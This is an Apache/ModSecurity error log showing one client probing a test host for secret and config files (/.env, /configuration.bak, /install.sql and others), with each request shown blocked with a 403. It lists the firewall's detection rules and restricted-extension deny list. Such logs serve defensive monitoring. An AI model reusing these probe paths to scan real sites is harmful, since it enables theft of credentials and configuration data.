[Thu Feb 26 01:03:38.551166 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.well-known/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.well-known/.env&quot;] [unique_id &quot;aZ-N2ik1SHHL9bIjTI-QxAAAAAU&quot;]
[Thu Feb 26 01:03:38.551434 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.well-known/.env&quot;] [unique_id &quot;aZ-N2ik1SHHL9bIjTI-QxAAAAAU&quot;]
[Thu Feb 26 01:03:38.551614 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.well-known/.env&quot;] [unique_id &quot;aZ-N2ik1SHHL9bIjTI-QxAAAAAU&quot;]
[Thu Feb 26 01:03:38.622827 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.well-known/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.well-known/.env&quot;] [unique_id &quot;aZ-N2g3HqGC30X9HPoEl1AAAAAM&quot;]
[Thu Feb 26 01:03:38.623103 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.well-known/.env&quot;] [unique_id &quot;aZ-N2g3HqGC30X9HPoEl1AAAAAM&quot;]
[Thu Feb 26 01:03:38.623304 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.well-known/.env&quot;] [unique_id &quot;aZ-N2g3HqGC30X9HPoEl1AAAAAM&quot;]
[Thu Feb 26 01:03:38.731872 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configuration.bak&quot;] [unique_id &quot;aZ-N2ik1SHHL9bIjTI-QygAAAAU&quot;]
[Thu Feb 26 01:03:38.732397 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configuration.bak&quot;] [unique_id &quot;aZ-N2ik1SHHL9bIjTI-QygAAAAU&quot;]
[Thu Feb 26 01:03:38.732576 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configuration.bak&quot;] [unique_id &quot;aZ-N2ik1SHHL9bIjTI-QygAAAAU&quot;]
[Thu Feb 26 01:03:38.838168 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configuration.bak&quot;] [unique_id &quot;aZ-N2g3HqGC30X9HPoEl2gAAAAM&quot;]
[Thu Feb 26 01:03:38.838684 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configuration.bak&quot;] [unique_id &quot;aZ-N2g3HqGC30X9HPoEl2gAAAAM&quot;]
[Thu Feb 26 01:03:38.838839 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configuration.bak&quot;] [unique_id &quot;aZ-N2g3HqGC30X9HPoEl2gAAAAM&quot;]
[Thu Feb 26 01:03:39.634464 2026] [:error] [pid 2330789] [client 185.177.72.22:48374] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.sh&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sh&quot;] [unique_id &quot;aZ-N2zAL5Lg_nL66HcLingAAAAE&quot;]
[Thu Feb 26 01:03:39.634840 2026] [:error] [pid 2330789] [client 185.177.72.22:48374] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sh&quot;] [unique_id &quot;aZ-N2zAL5Lg_nL66HcLingAAAAE&quot;]
[Thu Feb 26 01:03:39.635075 2026] [:error] [pid 2330789] [client 185.177.72.22:48374] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sh&quot;] [unique_id &quot;aZ-N2zAL5Lg_nL66HcLingAAAAE&quot;]
[Thu Feb 26 01:03:39.849424 2026] [:error] [pid 2330788] [client 185.177.72.22:48376] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.sh&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sh&quot;] [unique_id &quot;aZ-N2ySJSniLip0oFXiz0wAAAAA&quot;]
[Thu Feb 26 01:03:39.849679 2026] [:error] [pid 2330788] [client 185.177.72.22:48376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sh&quot;] [unique_id &quot;aZ-N2ySJSniLip0oFXiz0wAAAAA&quot;]
[Thu Feb 26 01:03:39.849836 2026] [:error] [pid 2330788] [client 185.177.72.22:48376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sh&quot;] [unique_id &quot;aZ-N2ySJSniLip0oFXiz0wAAAAA&quot;]
[Thu Feb 26 01:03:39.987055 2026] [:error] [pid 2330789] [client 185.177.72.22:48374] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/install.sql&quot;] [unique_id &quot;aZ-N2zAL5Lg_nL66HcLiqAAAAAE&quot;]
[Thu Feb 26 01:03:39.987602 2026] [:error] [pid 2330789] [client 185.177.72.22:48374] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/install.sql&quot;] [unique_id &quot;aZ-N2zAL5Lg_nL66HcLiqAAAAAE&quot;]
[Thu Feb 26 01:03:39.987802 2026] [:error] [pid 2330789] [client 185.177.72.22:48374] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/install.sql&quot;] [unique_id &quot;aZ-N2zAL5Lg_nL66HcLiqAAAAAE&quot;]
[Thu Feb 26 01:03:40.011596 2026] [:error] [pid 2330789] [client 185.177.72.22:48374] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/update.sql&quot;] [unique_id &quot;aZ-N3DAL5Lg_nL66HcLiqQAAAAE&quot;]
[Thu Feb 26 01:03:40.012169 2026] [:error] [pid 2330789] [client 185.177.72.22:48374] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/update.sql&quot;] [unique_id &quot;aZ-N3DAL5Lg_nL66HcLiqQAAAAE&quot;]
[Thu Feb 26 01:03:40.012375 2026] [:error] [pid 2330789] [client 185.177.72.22:48374] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/update.sql&quot;] [unique_id &quot;aZ-N3DAL5Lg_nL66HcLiqQAAAAE&quot;]
[Thu Feb 26 01:03:40.046767 2026] [:error] [pid 2330789] [client 185.177.72.22:48374] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/delete.sql&quot;] [unique_id &quot;aZ-N3DAL5Lg_nL66HcLiqgAAAAE&quot;]
[Thu Feb 26 01:03:40.047321 2026] [:error] [pid 2330789] [client 185.177.72.22:48374] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/delete.sql&quot;] [unique_id &quot;aZ-N3DAL5Lg_nL66HcLiqgAAAAE&quot;]
[Thu Feb 26 01:03:40.047518 2026] [:error] [pid 2330789] [client 185.177.72.22:48374] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/delete.sql&quot;] [unique_id &quot;aZ-N3DAL5Lg_nL66HcLiqgAAAAE&quot;]
[Thu Feb 26 01:03:40.202303 2026] [:error] [pid 2330788] [client 185.177.72.22:48376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/install.sql&quot;] [unique_id &quot;aZ-N3CSJSniLip0oFXiz3QAAAAA&quot;]
[Thu Feb 26 01:03:40.202913 2026] [:error] [pid 2330788] [client 185.177.72.22:48376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/install.sql&quot;] [unique_id &quot;aZ-N3CSJSniLip0oFXiz3QAAAAA&quot;]
[Thu Feb 26 01:03:40.203124 2026] [:error] [pid 2330788] [client 185.177.72.22:48376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/install.sql&quot;] [unique_id &quot;aZ-N3CSJSniLip0oFXiz3QAAAAA&quot;]
